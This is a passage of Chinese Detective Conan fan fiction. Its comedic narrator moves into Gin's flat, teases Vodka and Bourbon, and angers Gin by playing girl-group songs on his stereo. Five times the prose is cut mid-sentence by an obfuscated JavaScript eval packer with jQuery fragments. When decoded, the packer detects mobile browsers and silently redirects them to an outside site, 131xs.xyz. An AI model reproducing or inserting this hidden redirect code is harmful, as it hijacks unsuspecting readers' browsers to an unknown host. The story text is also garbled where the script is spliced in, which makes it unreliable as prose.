“没错哦。”聪明的开门英子打了个响指,又勾了勾食指,示意伏特加把脑袋凑过来。
意思就是,我要说悄悄话了。
伏特加会意,配合地把耳朵放在我的嘴下,生怕错过我要说的小秘密。
“怎么了怎么了?”
我神秘一笑,弯起眼睛,狗狗祟祟地捂着他的耳朵小声说:“我啊——”
伏特加下意识重复:“你啊——”
我嘿嘿笑出声:“我要和大哥同居咯~”
“你要和大哥——”伏特加下意识重复,又差点咬到舌头,估计是只觉得世界要变了,“你?大哥?”
我露出不怀好意的笑,撅着嘴巴点头:“没错,就是你想的那样。”
我可没乱说话啊。
我和琴酒住在一个房子里,尽管是分开两个房间,但是同居一房,难道不算是同居吗?
还有啊,我确实不确定伏特加脑补了什么,可是我就是默许一下,又怎么样呢?我就当伏特加想的是琴酒是个好领导,也没毛病吧?
私以为,琴酒能同意我搬过来,按照我一如既往不正经的人设,他也应该有预料吧?
预料到我会坏他清白哈哈哈哈哈哈哈!
睡不到琴酒又如何,我自会找点乐子出来的。
至于琴酒会不会因为我坏他名声而揍我,至于琴酒昨天晚上差点弄死我难道我没有心理阴影吗?居然还敢这么乱说话……
那又如何?
琴酒也不在意名声那种东西啦,也不会真的有人敢拿桃色新闻在他面前嘚瑟的……确切来说,就算我这么乱说话,也不会有人信的。
毕竟他是琴酒。
毕竟我是开门英子。
我就是想快乐一下而已。
顺便,再继续试探一下琴酒?
毕竟,虽说他昨天真的对我起了杀心,但是不还是没杀我吗?不仅没杀我,还容忍了我的梦游,还让我搬过来呢!
看吧,就连伏特加都很快反应过来了。
呆若木鸡的伏特加晃了一下神,过了会儿就摆摆手,那叫一个无奈:“英子你又在开玩笑,大哥让你搬过来一定是有其他安排吧?”
看吧,所有人都会是和伏特加一样的想法的,也是因为所有人都知道琴酒才不会对女人,不对,是他绝对不会对人动心的。
我们无情的杀手,所做的一切,都会是为了黑衣组织。
14.
伏特加本意是想帮我的,但是被我以女孩子的东西十分私密,不适合他在场为由给赶了出去。
我还不忘把门关上。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993451|178059||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又在地上扑腾了一会儿,我才爬起来,用手机放着我女儿她们团的歌,开始干劲满满地整理房间。
说起来,我记得琴酒家的客厅里有一套十分高级——我是指十分贵的音响。本土人不懂什么牌子,但是那音响一看就又高级又贵,音质根本就不是手机能比的,琴酒经常拿来放古典乐。
呃,尤其是在他干了票大的之后。
没错,我们琴酒大哥,某种意义上讲,也是个文艺青年?咳咳,这话说的我都能起一身鸡皮疙瘩。
不过这不重要啦,重要的是——我都搬过来了,那琴酒大哥的音响我是不是也能用?
我都不敢想,那么高级的音响,配上我女儿的歌喉,得有多享受。
呜呜呜我就知道,我再说一遍!舔舔不忘,必有回响,这不,一直以来都在努力舔琴酒大哥的我马上就能感受到高级音响!
慢慢来,慢慢来,等琴酒大哥不在家,我就开始享受,然后慢慢,一步一步,琴酒在家我也能享受。
啊,我忽然间懂了,懂琴酒为什么要让我搬过来了。
这应该是对我的惩罚吧?
惩罚我居然敢酒后大放厥词,还敢梦游到他床上,所以让我搬过来当保姆?
琴酒和伏特加基本上每天都是风里来雨里去地执行任务,再加上琴酒这个工作狂,忙起来吃饭都是糊弄的,为此我没少往他车里变着法地定期装食物。
偏偏琴酒又是个多疑的人,他住的地方除了我和伏特加之外也没几个人知道,他更不可能会让人到他家里收拾卫生或者做饭……
唉,领导就是领导,这是想让我除了酒保之外还要兼职保姆吗?
那他可真是找错人了,毕竟我能和“贤惠”扯上边的就是“闲在家里什么都不会”。
只希望最后不是琴酒执行任务回来不仅要收拾家里,还要收拾我折腾出来的烂摊子……所以这哪是惩罚我哦,这分明是奖励我!!!
黑衣组织的人向来没什么素质,于是琴酒毫不客气地直接打开门,看着我的背影都知道我在摸鱼:“又在傻笑什么?还没收拾好?”
我转过头,讪讪一笑:“不是傻笑啦,是在感叹——”
“嗯?”
“感叹大哥你对我真好!”我啪嗒啪嗒就想冲过去抱他,也都做好了被琴酒躲开的准备。
琴酒也确实躲开了。
可是我却愣住了。
因为躲开的琴酒绕过我,两根指头拎起了我才放下的衣服,抖了抖,满脸嫌弃地说:“一会儿让伏特加陪你去买个熨斗。”
5. 第五章
15.
琴酒拎着我的衣服的嫌弃不像假的,但是我是一点精致女孩该有羞愧都没有,反而是大喜。因为我get到了琴酒是真的让我继续住,而不是嫌弃我收拾东西这么慢要赶我出去。我想都没想就顺杆子往上爬:“大哥你不陪我吗?”
琴酒面无表情地看着我,连眼神都无比平静,但我还是熟练地读懂了他的沉默代表的含义。
那就是,我配吗?
呵呵,那我当然配啊,我配得感很足的。我歪头,笑得十分灿烂,还十分期待的双手在胸前捧拳,万分憧憬地说:“如果大哥愿意陪我逛街,那我一定会是世界上最幸福的小女孩。”
光说不够,我又扑腾着两条胳膊,在空中比划了一个大大的圆,忽闪着眼睛问:“大哥,你愿意助力你的第一小妹成为世界上最幸福的小女孩吗?”
我很是期待。
琴酒……
琴酒很是无情。
搞不懂,他原本表情都松动了,又不知道怎么回事冷下来,冷漠无情地说:“我不愿意。”
琴酒拂袖而去。
他不仅拂袖而去,还在半小时后又出现在了门口。
他再次出现的时候,我正一边沉浸听歌一边手舞足蹈地胡乱比划,面前堆了一堆杂物——在琴酒看来是这样,本人看来皆是宝物。
琴酒对我的跳大神行为视而不见,只是靠在门上,用指关节敲了敲门,叫醒了陶醉的我。
“啊咧?大哥您有何吩咐。”我马上停下舞姿,屁颠屁颠地跑过去。
琴酒熟练地伸手按住我的脑袋,阻止我的进一步冲刺:“我和伏特加要去执行任务。”
我下意识问:“那我晚上可以点外卖吗?”
琴酒和伏特加执行任务肯定是不可能带上我的,除非他们想把任务搞砸。
Be like某句话:想把一切都搞砸吗?带上这个开门英子吧!——爱来自宾加。
不过嘛,我也是知道琴酒超信我的,他不会因为自己的多疑,就在他不在家的时候把我赶出去。不然他也不至于给我他家的钥匙,更不会让我搬过来不是?
但是我晚上吃什么还是很重要的。按照我对琴酒大哥的了解,他家冰箱里不全是酒就已经很不错了,巧妇也难为无米之炊是吧?
而且要我一个人做饭……我才不要呢。
以前在polestar酒吧的时候还能点外卖,但素我现在在琴酒家,那能不能点外卖就一定要征求琴酒的意见。
虽说他一口否决的几率更大,但是嘛,总要试试不是吗?
俗话说的好,勇敢的人先享受世界!
勇敢的开门英子先在琴酒家里享受外卖!
先帝创业未半而中道崩殂,到我这里就是开门英子点外卖未半而中道崩殂。
果不其然,琴酒一口否决了。
我扁起嘴,还摆出了非常诚恳的湿漉漉的狗狗眼。
下颌微收,嘴巴抿起,上眼睑微抬,眼睛微眨。
再算上身高对比的话,从琴酒的角度看就是被雨淋湿的小狗狗一枚,可怜又纯情。
这个表情我试过很多次了,头一次是误打误撞,后来发现在想要跟酒厂的同事们沟通的时候用上这个眼神堪称百试百灵,再唐突的话也可以被原谅。
琴酒也包括在内哦!
不然我是怎么活到现在的?天天恶心琴酒还能免过枪决,在琴酒生气到差点忘了要留我一命的时候,这个表情可是能百分百唤醒琴酒内心那么一点点怜悯之情的。
琴酒还是没有松口。
可是!我伟大的大哥!答应回来给我带好吃的食物诶!
这说明琴酒他们这次执行的任务很简单,至少对琴酒来说很快就能结束。
那么琴酒大哥能给我带什么好吃的呢?这我是真的期待。
琴酒这个人嘛,虽然不怎么重视口腹之欲,但是我对琴酒有着十足十的信任,他答应的好吃的,就一定好吃,至少一定符合我的口味。
我咧着嘴把琴酒和伏特加送走,关上门后忍不住叉着腰,在琴酒家里走了一圈。可以说除了琴酒的卧室我没敢进去,其他的地方我都用jio丈量了一遍。
……还挺大的。
我来过琴酒家很多次了,也很熟悉琴酒家里的摆设布置,但是住进来的感觉还是不一样。
尤其是在……
大摇大摆地用高级音响放上了我女儿她们团的专辑,把声音调到最大,在我的房间里也能听得一清二楚的那种,顿时感觉收拾东西的劲头更足了呢。
我就说嘛,我女儿的歌声,就该用最贵的音响!
搬进琴酒家真的太幸福了,谁懂?
16.
在我把东西收拾好了,也差点饿死之前,琴酒和伏特加回来了。
带着好吃的……寿司。
算了,寿司就寿司,好吃就行,而且从食盒的触感摸起来就知道是贵的,那就更好吃了。
我满足地吃得摇头晃脑的,每吃一个都要对琴酒表白一次。
“大哥,你知道我喜欢吃什么吗?你绝对想
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993452|178059||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不到,我喜欢痴痴的看着你。”
“大哥,这寿司好像有点太咸了,搞得我闲的没事总是想你。”
“大哥,我刚才吃了药,应该没有影响吧?啊,我吃的药叫琴酒大哥很重要。”
终于,我的土味情话恶心得琴酒受不了。他直接走过来往我嘴里强制塞了一块寿司,堵的我根本没办法说话。
感觉这个世界都安静了的琴酒满意地离开了,徒留我靠着伏特加递过来的水让自己免于噎死。
顾北琴,你好狠的心!我抽了抽鼻子,但,敢怒不敢言。
不仅敢怒不敢言,我还在睡前反复检查,确定自己把门反锁了,又搬了把椅子过来堵住门。
这样,应该就不会再梦游到琴酒的床上了吧?
没有醉酒buff的情况下如果再梦游到琴酒床上,他真的会弄死我的!!!
17.
看来锁门的确很有用,我是在自己的床上醒过来的。
醒来的时候琴酒和伏特加都不在,尽管一猜就知道他们两个是去忙黑衣组织的任务了,但我还是拿起手机进行了一番骚扰,直到琴酒把我拉黑了又拿伏特加的手机把我拉黑了才长出一口气。
爽了。
又回到床上躺了一会儿,再整理了一下房间,我就近找了家拉面店吃点东西,老老实实滚去上班。
我把调好的鸡尾酒端到点单的金发男人面前,毫不客气地大喇喇坐到他旁边,上上下下打量一遍,不禁“啧”了一声:“虽说你做男做女都精彩,不过我还是比较喜欢你男装的样子。”
宾加嗤笑一声:“因为我女装比你好看吗?”
我难以置信地拧了一下眉:“你没事吧?”
大放厥词,绝对是大放厥词,宾加这小子化妆比我熟练是没错,但是他怎么有胆子说比我好看的?我可是真正的女人,他是假的!
不对,我干嘛雌竞?还和宾加?
宾加耸耸肩。
我锤他一下:“别逼我在大喜的日子扇你。”
宾加敏锐捕捉到了重点,他用肩膀回撞我一下,好奇地问:“什么大喜的日子?组织给你代号了?”
……可恶啊工作狂能不能离我远点?我从没想过要有代号好不好?有了代号跟直接送我去死有什么区别?我真的会谢。
我一点也不华丽地翻了个白眼,不过想要分享的欲望还是盖过了无语,我拍了他脑袋一下,才美滋滋地开口说:“我和琴酒同居了,嘻嘻!”
宾加难以置信地拧了一下眉:“你没事吧?”
6. 第六章
18.
我:“?”
宾加顿觉不对,他想了想,又纠正了一下自己的措辞:“不对,琴酒没事吧?”
我:“??”
宾加理智终于回来了,就是回来得不多:“不对,还得是你没事吧?你居然看得上琴酒?”
哦,差点忘了,这家伙一直都把琴酒当成假想敌,天天变着法努力,想要取代琴酒的地位来着。
尽管我一直都觉得他这种每天都拿琴酒作比较但是实际上琴酒眼里根本没有他得状态……比起是他把琴酒当成假想敌,更像是琴酒深柜。
我觉得哈,是我觉得,我可不敢说,我怕戳中他的心思,他羞愧到用眼线笔把自己戳死(不是)。
但是甭管怎么说,宾加有一点比较好,那就是他很护短,偏心眼的那种护短,所以理智回归一点儿后,他不仅信了我的鬼话,还觉得我亏了。
我双手食指互相怼着,眼神飘忽,脸上也浮现了不怀好意的笑:“这个嘛,嘻嘻!”
宾加定定地看着我,半晌,长出一口气:“合着你又在跟我开玩笑啊。我早该知道的,你嘴里没一句真话。”
“啊咧?”
看来宾加的理智是彻底回归了,他呷了口酒,吐槽我的同时还不忘给我的调酒手艺比了个赞,堪称是肌肉记忆了。
“估计又是上面给琴酒安排的任务吧?让你搬去他那里?看来组织对你有新安排了。”宾加不愧是我的好闺蜜,对我永远有着莫名其妙的滤镜,“我一直都觉得让你待在酒吧当酒保太屈才了,算得上任务的就是给琴酒开会放风,一点发展都没有。”
我默默擦汗:“我倒是没想过发展哈。”
我本来就对工作没什么上进心,对于黑衣组织的工作就更没有了。无他,其他工作的话,太过上进,顶多副作用就是失去健康,而黑衣组织……那可是失去性命啊!
我还挺满意目前的工作状态的,尤其是在搬去了有电梯的公寓房子之后,这份工作带给我的唯一副作用就是熬夜有可能伤身体了。
不过没关系,我不上班也会熬夜,那副作用就是零了。
我跟宾加算得上是完全相反的两个人。
首先,也是最重要的一点区别就是,他是男人,我是女人。
其次,他是为了变强大而自愿加入黑衣组织的,而我却是一出生就被迫是黑衣组织的人。这也是为什么我们两个会成为一起上医疗课的同学,他是自愿进修,我是因为太菜鸡而被琴酒扔进去重修。
但是,完全相反的两个人也不影响一拍即合成为朋友,反正我和宾加都彼此认为对方是朋友,至于是什么定位的朋友,那就仁者见仁智者见智了。
不影响,什么都不影响,所以哪怕宾加是个工作狂,我是个摆烂狂,我们两个也能毫无障碍地凑在一起蛐蛐全组织。
可以说除了朗姆和boss之外就没有我们两个不敢蛐蛐的。
这么说起来,似乎找到了我们两个的共同点了?
我撇撇嘴,刚要继续反驳宾加的话,就听到旁边卡座的声音忽然放大,听起来有点像是原配捉奸,渣男在狡辩。
我和宾加的眼睛一下子就亮了,我俩不约而同地对视,斜眼看向旁边卡座,又同时把眼睛转回来,再同时摇摇头,一起努努嘴,眨巴眨巴眼睛……
不说一句话,就已经把渣男骂了个遍且骂的很脏。
再亲眼目睹原配把桌子上的酒泼到渣男脸上,嗯,舒服了,我和宾加不约而同地松了口气,眼里全是笑意地相视一笑。
同事出现,给渣男递上了纸巾。
既然烂摊子有他收拾,上班能摸鱼就摸鱼的我只当什么都没看见,拿起桌子上的托盘,跟宾加挥了挥手,佯装无事地打算回吧台。
宾加似乎是还有话想要问我,腾的一下子站起来了,又腾的一下子坐回去,跟在做什么神秘仪式一样。
我古怪地回头看过去,想要问他怎么了,就见熟悉的身影从我面前经过,冷硬的风衣带着冷硬的味道拂过我的鼻尖。
是琴酒。
那合理了。
我对宾加眨了眨眼睛,马上笑着跟过去,跑到琴酒并肩的位置,大喇喇地倒着走:“大哥,喝点什么吗?”
琴酒的唇角绷着,一看就心情不好且懒得理我。
不过,再怎么不想理我,组织好领导的琴酒还是在后背没长眼睛的我差点撞到桌角之前拎住我的肩膀,离开障碍物后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993453|178059||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
再松手。
还甩了甩手。
毫不在意的我脸上笑容更大:“谢谢大哥!”
大哥还是懒得理我,不过等坐到吧台旁边,倒是终于理我了。
他只要一杯gin。
“好呀,我一定给大哥削一个最好看的冰球,大哥你等着我哦!啊,还有伏特加,你的冰球也一定会好看滴!”
给琴酒和伏特加端上酒,我仔仔细细地观察着琴酒的表情。
银发男人一脸冷淡地拿起酒杯,对着昏黄的灯光观察了一下杯中的酒后面无表情地喝了一口。
都没有对我的冰球表示一下赞赏,看来是真的生气了。
——虽然他之前也没赞赏过。
我拧了一下眉,趴到吧台上偷偷跟伏特加咬耳朵:“大哥生气了?”
伏特加欲言又止地点点头。
我一下子就不乐意了:“是谁?是谁居然敢惹到了我大哥?他还活着吗?”
伏特加的表情更加一言难尽了,他艰难地点点头。
我的眼睛不可置信地瞪得奇大:“居然有人惹到了大哥还活着?”
伏特加沉默着点点头。
我把手比成“六”的电话样子放在耳朵旁边,十分生气地说:“是谁?Call me 我去干死他!”
伏特加犹豫了片刻,低声说:“是你。”
“什么?好啊,居然是……”意识到伏特加说了什么,本来装得气冲冲的我马上压低了声音,对着听到我突然大声而看过来的琴酒讪讪一笑,用更低的声音质问伏特加,“怎么可能是我?我都没梦游,怎么可能惹到琴酒大哥生气?”
清汤大老爷,冤枉啊!
绝对是有人陷害我?
是谁?
我想都没想就把怀疑的目光对准了伏特加。
根本不知道我内心导演了一出大戏的伏特加凑近我的耳朵:“那个,你是不是?”
“嗯?”
伏特加深吸一口气:“你是不是拿大哥的音响放咱女儿的歌了?”
我一呆。
伏特加用着同情的目光看着我:“大哥本来是想听歌休息的,结果打开音响,听到的就是那首咱女儿的蹦迪曲。”
7. 第七章
19.
糟糕,忘了把CD换回去了。
被琴酒发现我偷偷用他的高级音响放女团曲了。
放的还是那首奇吵无比,也就粉丝能靠溺爱听顺耳的,鲜少的我女儿她们团路人缘不好的歌。
我闭了闭眼,僵硬到转头都能发出咔哒咔哒声音地把脑袋转向琴酒,趴在吧台的上半身也动作缓慢卡顿如没上发条的上了年纪的机器人一样站直。
我努力抬起嘴角:“嘿嘿嘿,大哥,你听我狡辩。”
琴酒依旧面无表情:“我不想听。”
我试图商量:“要不您听一下呢?”
琴酒不语,只是一味地盯着我。
我双手食指在胸前怼啊怼,努力卖萌装可怜:“我只是收拾东西太累了,需要我女儿的维他命当动力。”
“光用手机放歌是可以,但是,没有那种感觉。”
琴酒嗤笑一声:“用我的音响就有感觉了?”
“那可不,一用音响就动力十足!而且嘛,我都搬过来了,也能有音响的使用权吧?”我笑出小梨涡,杏仁眼里闪着期待的光,大胆地说,“我难道不可以把大哥的家当成自己的家吗?”
听到我的大放厥词,连伏特加都暂时把眼睛闭了起来,不忍再看。
琴酒倒是很平静,他用着审视的目光看着我。我努力对上他那寒凉如深潭一般的祖母绿色双眼,脸上的笑都渐渐僵硬起来。
难道猜错了?
琴酒垂眸,用着嫌弃无比的语气说:“下次用完把你的那堆东西都收起来,别让我再听到。”
20.
琴酒看似是放了我一马,但是我心里还是隐隐有些惴惴不安。
那种感觉很难说,反正就是,我很不安,也或许是樱花妹的常规技能吧,不安desu。
所以,在回到家后,夜深人静之时,我挪开了门口堵着的椅子,又解开了反锁,狗狗祟祟地走到了客厅。
果不其然,在客厅的沙发上看到了坐着的琴酒。
黑暗的客厅里只有靠近琴酒那侧的落地灯在尽职尽责地工作着,在点亮这个客厅和凑活着能看清大概之间,我选择了凑活。
没办法,到底是寄人篱下,要是我自己的房子,我肯定直接开大灯了,毕竟电费又不用我交,没道理给黑衣组织省钱。
琴酒也肯定不会是能给黑衣组织省钱的人啦,他要是有这么贴心,财务就不用每次听到琴酒的名字就ptsd还不得不给大哥批钱批武器了。毕竟别的公司必须按流程办事不然容易出事,而我们黑衣组织太按流程办事才会容易出事。
由此可见,只开一盏灯,一定是琴酒大哥自己的安排。
或许是因为我们黑衣组织的人就是要有点黑暗的感觉,也或许是因为,只开一盏灯更有氛围感。
我没开玩笑,就算和琴酒认识这么久了,冷不丁看到黑暗的房间中唯一的光笼罩在他身上的时候还是不免被他刀削般的侧脸和泛着光泽的银发shock到。
实在是太有氛围感了,这就叫灯下看美人吗?
我的拖鞋愣是在半空中停顿了一下,才小心翼翼地落在了地上。
我发誓,我真的走得足够小心,但是琴酒还是在我向他移动过来的第一瞬间便抬头,锐利的眼神如刀锋般射向我。
总感觉下一秒就要掏枪了。
等看到是我了,琴酒又低下头,继续看着手上的东西。
我转了下眼睛,拐去厨房倒了两杯水,慢悠悠凑到琴酒身边,将给他倒的水放在他面前的茶几上,才坐到距离他一拳的位置上。
已经能直接忽略掉黑衣组织的东西,我目不斜视地用胳膊肘怼了怼琴酒,扬起笑:“大哥,喝水。”
“不睡觉就为了让我喝水?”琴酒将手上的文件随手放到旁边,没有一点瞒着我的意思,估计也是知道我对这些东西也一点兴趣都没有,没必要格外瞒着我。
琴酒也没必要提防我不是?在他看来,我是绝对可靠的纯血黑衣组织成员,是绝对不可能背叛的人。按照琴酒的多疑,但凡他对我有一点怀疑,也不会同意让我搬进他家。
“其实是为了提醒大哥早点睡觉啦,这么晚了,不睡对身体不好。”我露出“开门英子很关心你”的表情,眼神纯洁无辜且充满关怀,还将茶几上的水杯端起来,双手捧到他唇边。
那叫一个狗腿。
“你不是也没睡?”琴酒冷哼一声,但还是很给面子地喝了一口我呈上来的水,“怎么,单独出来一趟,不嫌锁门还堵门麻烦了?”
我一愣:“啊咧?大哥怎么知道我锁门还堵门的?”
琴酒垂眸没说话,放下水杯,这才转过头给我一个正眼:“你说呢?”
他这么一说,我就懂了。我了然地用右拳锤上左手的掌心,用着无比忧伤的口吻说:“大哥也感动我的用心良苦了吧?为了不梦游,我付出了好多。朕,真的很难。”
琴酒:“……哦。”
我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993454|178059||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晃晃身体,装作不经意地往琴酒身边再挪了挪,将距离从一拳缩短到半拳。
这个距离,就能感受到琴酒身上的体温了。
别看琴酒冷酷得不行,但是估计是因为顶级杀手的身体素质很好吧,他身上一直都是热乎乎的。现在天气已经有点转冷的迹象了,近距离感受到的暖意让两辈子都很怕冷的我没忍住眯了一下眼睛。
就这个温度舒服!
生怕琴酒注意到我在偷偷取暖,我歪着脑袋转移话题说:“但是我可以睡到自然醒,下午醒都没有问题。大哥可不像我,大哥日理万机,明天是不是还要很早起床?”
琴酒是货真价实的高能量人士,很多时候我甚至怀疑青山刚昌给他开的金手指里就有超高精力不需要睡眠。同样的高能量人士,一人打三份工的降谷零先生至少还有几小时的睡眠时间。但是琴酒,有的时候我都怀疑他彻底进化掉了睡眠。
尤其是蹲点的时候,伏特加都会偷偷眯一觉,琴酒却能一直盯着,都不需要咖啡提神,是真的神人。
琴酒不可置否地嗯了一声。
“是吧?”说中了,我得意地挑眉,“所以大哥还是早点去睡觉?工作什么的,只要你是我们组织的劳模,就根本做不完嘛。”
“你就是为了催我睡觉?说吧,还有什么事情。”琴酒一点也没被我温暖到,他的身体往后一靠,闭上眼睛,看都懒得看我一眼。
唉,知我者,琴酒也。糖衣炮弹对琴酒真的无用,我撇撇嘴,老老实实地开口问:“那我可以知道你今天为什么不爽吗?”
抢在琴酒开口前,我预判了他的否认:“别说你没不爽哦,我知道我做错了嘛,可是……大哥,你不止是因为我用了你的音响吧?”
我很明智地用的说法是“不爽”,因为我也知道,琴酒更不会承认自己生气,而且他要是真的生气了,应该直接把我骂一顿,而不是单纯的不开心。
而且,琴酒其实是个很大方的人,不至于因为我偷用他的音响就生气吧?再说了,他同意我搬进来,就该有我会用他东西的觉悟。
我又不是一个很有边界感还有礼貌的人,我可是黑衣组织的人!
琴酒的喉咙里溢出古怪的声音,有点像叹息,又有点像……我说不出来。
我疑惑地等着琴酒的回应,半晌,琴酒才终于睁开了眼睛。
却还是没有看我,他只是望着前方,轻声说:
“我只是在想,为什么会让你搬进来。”
8. 第八章
21.
已无暇花痴琴酒现在有多帅,我直接给琴酒表演了一个呆若木鸡。
琴酒也很平静,他平静地看着我,眼神里没有一丝波动。
倒是有点情绪,能看出来一丝微不可察的不解。
这很稀奇,毕竟这可是琴酒诶!!!
糟糕,难道是我之前猜错了?他是真生气了?气到都想把我赶出去了?
我想都没想就扑过去,用双手搂住了琴酒的手臂:“啊啊啊啊啊啊大哥不要啊!”
“不要什么?”琴酒甩,但没甩开,他拧了一下眉,大掌握住我的双手,想要把我的手挪下去,又因为我的过分尖叫,深吸了一口气,“闭嘴,不要叫。”
我瞪着大眼睛,难以置信地问:“你都要赶我出去了我怎么可能不叫?啊啊啊啊痛痛痛,痛死了!”
琴酒按耐住捂耳朵的冲动,估计是不想逼格降低,他冷声警告我:“不想让我弄痛你就不要碰我。”
听不进去这种警告,我满脑子都是我才享受了一天有电梯的公寓生活就要搬回去这一噩耗。
拜托,我昨天才搬过来诶!那么多东西,我这种低能量老鼠人按理说要搬好几天还要整理好几天的,我可是靠着搬到电梯房的动力和怕收拾慢了被琴酒扔回去的恐惧飞快一天内收拾好的。
结果琴酒还是要赶我回去?
那我昨天的努力算什么?
算我喜欢搬家吗?
我!不能!!接受!!!
如果非要把我赶回去的话,那我……我真的就不能原谅他了!
想到这里,气急攻心,兔子急了也能咬人,英子急了就……就咬紧牙关坚决不肯松开琴酒的手臂。
搂紧,搂死紧,搂紧怀里。
靠着必胜的决心,我绝对不会让琴酒把我甩开的,除非——
除非我痛死。
但是,痛死我也要抱着琴酒痛死,死我也要死在有电梯的房子里,再除非——
琴酒给我安排一个其他的房子,带电梯就可以,我的要求真的一点也不高。
我是这么想的,我也没忍住,可能人在剧痛下就是忍不住想法吧。
我不是什么意志力很强的战士,我还格外怕痛,可以说要是将来我哪里不小心犯错了被丢进审讯室,可能都不需要注射吐真剂,随便两下刑具或者刑具都不用上,我就直接什么都说了。
一点出息都没有的开门英子嗷嗷大叫,把自己的想法全说出来了。
琴酒听了之后似乎更生气了,他把我的手握得更紧,俯身靠近我,距离近到下一秒就能咬住我的耳朵:“你就是为了电梯?”
“还可以是为了大哥,大哥,我命中注定的大哥,我真的无法离开你!”我含泪,是真的含泪,大大的杏仁眼里满是泪花,用力眨眨就能流出来的那种。
我转头去捕捉琴酒的眼神,在他狭长的墨绿色眼眸里看到的扁着嘴的我,委屈巴巴地说:“怎么样都可以,我都可以,只要……”
“骗子,你只是想要电梯。”琴酒冷嗤一声,离我更近了。
银色的长发从他的手上流到我的胳膊上,指尖还能触碰到几根柔韧的发丝,冰凉,如同被毒蛇缠住。
鼻尖能嗅到近在咫尺的琴酒身上的味道,洗过澡后消散不见了硝烟味,却还能隐隐闻到酒味,细细密密地萦绕在距离极近的两张脸之间。
“那,要搬去……”我本意是想问要不要我搬到伏特加那里。
其实也行,也是有电梯的公寓,还就在楼下,还能摇伏特加来帮忙,也不算太累?
但是我没敢说。
关键时刻总是很有眼色的我试探着问:“可以不搬走吗?”
“舍不得我?还是你不想麻烦?”
救命,琴酒再凑近一点,我的鼻子就能被咬下来了。
我这可是真鼻子!没做过!我不想躺在冰冷的手术台上啊!
我下意识往后靠了一下,讪讪一笑:“主要还是不想离开大哥。”
琴酒眼神暗了一下,唇边勾起嘲讽的弧度:“怎么,怕我咬你?”
“那哪能啊?我是怕我色欲熏心,唐突了大哥就不好了。”
话这么一说,我忽然又懂了。
琴酒后悔让我搬进来,是不是怕被我占便宜啊?
琴酒以前不这样小气的。
之前说过,我一直都在试探琴酒对我的底线,其中,自然也不乏能让我吃豆腐的底线。
琴酒这个人虽然生人勿近也男女勿近,与X生活混乱的黑衣组织其他人格格不入,但是他在我的几番试探之下,也懒得理我时不时的占便宜行为。
所以我才一直都觉得琴酒是个好人,至少是个好上司,能睁一只眼闭一只眼地让下属,如我,心甘情愿地干活,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993455|178059||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
用上物质(?)和精神(?)的双向奖励。
也可能是因为他懒得跟我计较。
黑衣组织的其他人惧怕和琴酒接触,除了刚来的和贝尔摩德那种胆子大的之外,没几个人敢主动和琴酒示爱或者想要一起调酒放松之类的。琴酒是很讨厌男女肉.体交流这种简单粗暴的放松模式的,当然,我也和贝尔摩德偷偷蛐蛐过。
呃,我们两个肯定不可能蛐蛐琴酒不行的啊。
我们两个蛐蛐的是,琴酒对此格格不入地不感兴趣,是因为琴酒本性多疑谨慎。他不信任其他人,也更不想在脆弱的时候与其他人共度,比如说赤诚相见?琴酒不会给任何人可能对他下手的机会。
那么可能有人就要问了,既然贝尔摩德都知道这些,那为什么还要经常邀请琴酒一起调酒?
因为她善!
咳咳,不是,因为她觉得看琴酒无语地装作听不到很好玩。
